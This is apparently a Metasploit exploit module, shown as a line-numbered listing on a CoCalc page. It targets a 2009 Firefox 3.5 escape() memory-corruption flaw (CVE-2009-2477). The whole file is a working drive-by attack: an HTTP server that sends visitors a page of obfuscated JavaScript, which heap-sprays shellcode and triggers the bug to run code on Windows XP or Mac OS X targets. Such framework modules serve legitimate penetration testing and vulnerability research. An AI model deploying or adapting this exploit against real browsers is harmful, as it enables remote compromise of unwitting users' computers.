CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  #
10
  # This module acts as an HTTP server
11
  #
12
  include Msf::Exploit::Remote::HttpServer::HTML
13

14
  #include Msf::Exploit::Remote::BrowserAutopwn
15
  #autopwn_info({
16
  #  :ua_name => HttpClients::FF,
17
  #  :ua_minver => "3.5",
18
  #  :ua_maxver => "3.5",
19
  #  :os_name => OperatingSystems::Match::WINDOWS,
20
  #  :javascript => true,
21
  #  :rank => NormalRanking, # reliable memory corruption
22
  #  :vuln_test => nil,
23
  #})
24

25
  def initialize(info = {})
26
    super(update_info(info,
27
      'Name'           => 'Firefox 3.5 escape() Return Value Memory Corruption',
28
      'Description'    => %q{
29
          This module exploits a memory corruption vulnerability in the Mozilla
30
        Firefox browser. This flaw occurs when a bug in the javascript interpreter
31
        fails to preserve the return value of the escape() function and results in
32
        uninitialized memory being used instead. This module has only been tested
33
        on Windows, but should work on other platforms as well with the current
34
        targets.
35
      },
36
      'License'        => MSF_LICENSE,
37
      'Author'         =>
38
        [
39
          'Simon Berry-Byrne <x00050876[at]itnet.ie>',  # Author / Publisher / Original exploit
40
          'hdm',                                        # Metasploit conversion
41
        ],
42
      'References'     =>
43
        [
44
          ['CVE', '2009-2477'],
45
          ['OSVDB', '55846'],
46
          ['BID', '35660'],
47
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=503286']
48
        ],
49
      'Payload'        =>
50
        {
51
          'Space'    => 1000 + (rand(256).to_i * 4),
52
          'BadChars' => "\x00",
53
        },
54
      'Platform'       => %w{ win osx },
55
      'Targets'        =>
56
        [
57
          [ 'Firefox 3.5.0 on Windows XP SP0-SP3',
58
            {
59
              'Platform'   => 'win',
60
              'Arch'       => ARCH_X86,
61
              'Ret'        => 0x0c0c0c0c,
62
              'BlockLen'   => 0x60000,
63
              'Containers' => 800,
64
            }
65
          ],
66
          [ 'Firefox 3.5.0 on Mac OS X 10.5.7 (Intel)',
67
            {
68
              'Platform' => 'osx',
69
              'Arch' => ARCH_X86,
70
              'Ret'  => 0x41414141,
71
              'BlockLen' => 496,
72
              'Containers' => 800000
73
            }
74
          ]
75
        ],
76
      'DefaultTarget'  => 0,
77
      'DisclosureDate' => '2009-07-13'
78
      ))
79
  end
80

81

82
  def on_request_uri(cli, request)
83

84
    # Re-generate the payload
85
    return if ((p = regenerate_payload(cli)) == nil)
86

87
    print_status("Sending #{self.name}")
88
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html; charset=utf-8' })
89
    handler(cli)
90
  end
91

92
  def generate_html(payload)
93

94
    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
95
    enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))
96
    enc_ret  = Rex::Text.to_unescape(
97
      Rex::Arch.endian(target.arch) == ENDIAN_LITTLE ? [target.ret].pack('V') : [target.ret].pack('N')
98
    )
99

100
    var_data_str1 = Rex::Text.rand_text_alpha(3)
101
    var_data_str2 = Rex::Text.rand_text_alpha(4)
102
    js = <<-EOF
103
var xunescape = unescape;
104
var shellcode = xunescape("#{enc_code}");
105

106
oneblock = xunescape("#{enc_ret}");
107

108
var fullblock = oneblock;
109
while (fullblock.length < #{target['BlockLen']})
110
{
111
  fullblock += fullblock;
112
}
113

114
var sprayContainer = new Array();
115
var sprayready = false;
116
var sprayContainerIndex = 0;
117

118
function fill_function()
119
{
120
  if(! sprayready) {
121
    for (xi=0; xi<#{target['Containers']}/100; xi++, sprayContainerIndex++)
122
    {
123
      sprayContainer[sprayContainerIndex] = fullblock + shellcode;
124
    }
125
  } else {
126
    DataTranslator();
127
    GenerateHTML();
128
  }
129
  if(sprayContainer.length >= #{target['Containers']}) {
130
    sprayready = true;
131
  }
132
}
133

134
var searchArray = new Array();
135

136
function escapeData(data)
137
{
138
  var xi;
139
  var xc;
140
  var escData='';
141
  for(xi=0; xi<data.length; xi++)
142
  {
143
    xc=data.charAt(xi);
144
    if(xc=='&' || xc=='?' || xc=='=' || xc=='%' || xc==' ') xc = escape(xc);
145
      escData+=xc;
146
  }
147
  return escData;
148
}
149

150
function DataTranslator()
151
{
152
  searchArray = new Array();
153
  searchArray[0] = new Array();
154
  searchArray[0]["#{var_data_str1}"] = "#{var_data_str2}";
155
  var newElement = document.getElementById("content");
156
  if (document.getElementsByTagName) {
157
    var xi=0;
158
    pTags = newElement.getElementsByTagName("p");
159
    if (pTags.length > 0)
160
      while (xi < pTags.length)
161
        {
162
          oTags = pTags[xi].getElementsByTagName("font");
163
          searchArray[xi+1] = new Array();
164
          if (oTags[0])   {
165
            searchArray[xi+1]["#{var_data_str1}"] = oTags[0].innerHTML;
166
          }
167
          xi++;
168
        }
169
  }
170
}
171

172
function GenerateHTML()
173
{
174
  var xhtml = "";
175
  for (xi=1;xi<searchArray.length;xi++)
176
  {
177
    xhtml += escapeData(searchArray[xi]["#{var_data_str1}"]);
178
  }
179
}
180

181
setInterval("fill_function()", .5);
182
EOF
183

184
    # Obfuscate it up a bit
185
    js = obfuscate_js(js, 'Symbols' => {
186
      'Variables' => %W{ DataTranslator GenerateHTML escapeData xunescape
187
        shellcode oneblock fullblock sprayContainer xi searchArray xc
188
        escData xhtml pTags oTags newElement sprayready sprayContainerIndex
189
        fill_function }
190
    }).to_s
191

192
    str1 = Rex::Text.rand_text_alpha(20)
193
    str2 = Rex::Text.rand_text_alpha(24)
194
    str3 = Rex::Text.rand_text_alpha(10) + "  "
195

196
    return %Q^
197
<html>
198
<head>
199
<div id="content">
200
<p>
201
<FONT>
202
</FONT>
203
</p>
204
<p>
205
<FONT>#{str1}</FONT></p>
206
<p>
207
<FONT>#{str2}</FONT>
208
</p>
209
<p>
210
<FONT>#{str3}</FONT>
211
</p>
212
</div>
213
<script language="JavaScript">
214
#{js}
215
</script>
216
</body>
217
</html>
218
^
219

220
  end
221
end
222

223